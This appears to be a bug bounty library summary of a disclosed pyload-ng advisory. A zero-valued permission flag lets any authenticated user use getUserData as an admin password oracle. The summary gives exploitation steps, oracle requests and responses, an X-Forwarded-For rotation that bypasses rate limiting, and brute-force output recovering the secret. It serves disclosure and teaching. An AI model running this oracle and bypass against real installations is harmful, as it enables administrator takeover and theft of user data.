# pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password

Perms.ANY==0 makes the permission bitmask check vacuous, exposing admin-only check_auth wrappers to any authenticated user as an unthrottled admin password oracle.

- Payout: Research
- Severity: high
- Program: pyLoad
- Found by: prnjlksingh
- Disclosed: 2026-10-09
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-68w4-83fh-f2w8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-68w4-83fh-f2w8
- Tags: area:web domain:api domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** /api/getUserData and /api/get_userdata JSON-RPC endpoints
**Root cause:** has_permission() computes required_perms == (user_perms & required_perms), so required_perms=Perms.ANY=0 always evaluates 0==0 True, admitting every authenticated principal. The wrappers getUserData/get_userdata call the admin-only check_auth() but carry @permission(Perms.ANY), undoing its protection.
**Steps:**
1. Authenticate as a zero-permission user (e.g. bob, role=USER, permission=0).
2. Confirm baseline denial: `GET /api/checkAuth?username=pyload&password=pyload` -> 401; `GET /api/getAllUserData` -> 401.
3. Hit the wrapper: `GET /api/getUserData?username=pyload&password=WRONG` -> 200 with all-null fields.
4. Hit with correct password: `GET /api/getUserData?username=pyload&password=pyload` -> 200 with `role: 0` (ADMIN) and email/permission populated.
5. Rotate `X-Forwarded-For` per request to get a fresh rate-limit bucket; brute force at ~17-47 guesses/sec (only PBKDF2 100k iterations bound it).
6. Log in via `POST /login` with recovered admin secret -> 302; `GET /api/getAllUserData` -> 200 full user dump.
**How found:** Code reading: noticed getUserData/get_userdata decorated @permission(Perms.ANY) while the underlying check_auth() was deliberately left without @permission to be admin-only; traced Perms.ANY=0 through has_permission()'s bitmask AND and saw the gate is a no-op. Then noticed rate_limit() trusts X-Forwarded-For while is_loopback_request() in the same file flags it as untrustworthy.
**Exploitation:** Any authenticated low-privilege account queries /api/getUserData with candidate admin passwords; null response = wrong, populated response = correct. No lockout exists, and rate_limit() buckets on client-controlled X-Forwarded-For so rotating the header bypasses the 100 req/min cap. Recovered admin password yields full administrative takeover and user data disclosure.
**Escalation:** Low-priv user -> admin password recovery -> admin session -> getAllUserData dump of all accounts (id, name, email, role, permission).
**Insight:** Grep for permission decorators whose required value is a zero/empty flag: a bitmask AND check with required=0 is vacuously true, so any 'ANY'/'public' sentinel implemented as 0 silently converts admin-only primitives into authenticated-user endpoints. Also check whether rate limiters key on X-Forwarded-For while other code in the same file already distrusts it.

## Proof of concept (copied exactly from the original report)

**getUserData oracle request as unprivileged user**

```
GET /api/getUserData?username=pyload&password=WRONG
  -> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}

GET /api/getUserData?username=pyload&password=pyload
  -> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}
```

**Unprivileged baseline checkAuth and getAllUserData denials**

```
GET /api/checkAuth?username=pyload&password=pyload   ->  401 {"error": "Access denied"}
GET /api/getAllUserData                              ->  401 {"error": "Access denied"}
```

**Brute force run with X-Forwarded-For rotation**

```
attempts         : 667
elapsed          : 39.7s   (16.8 guesses/sec)
429 rate-limits  : 0
account lockout  : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq'   (true value 'zq')   match=True
```

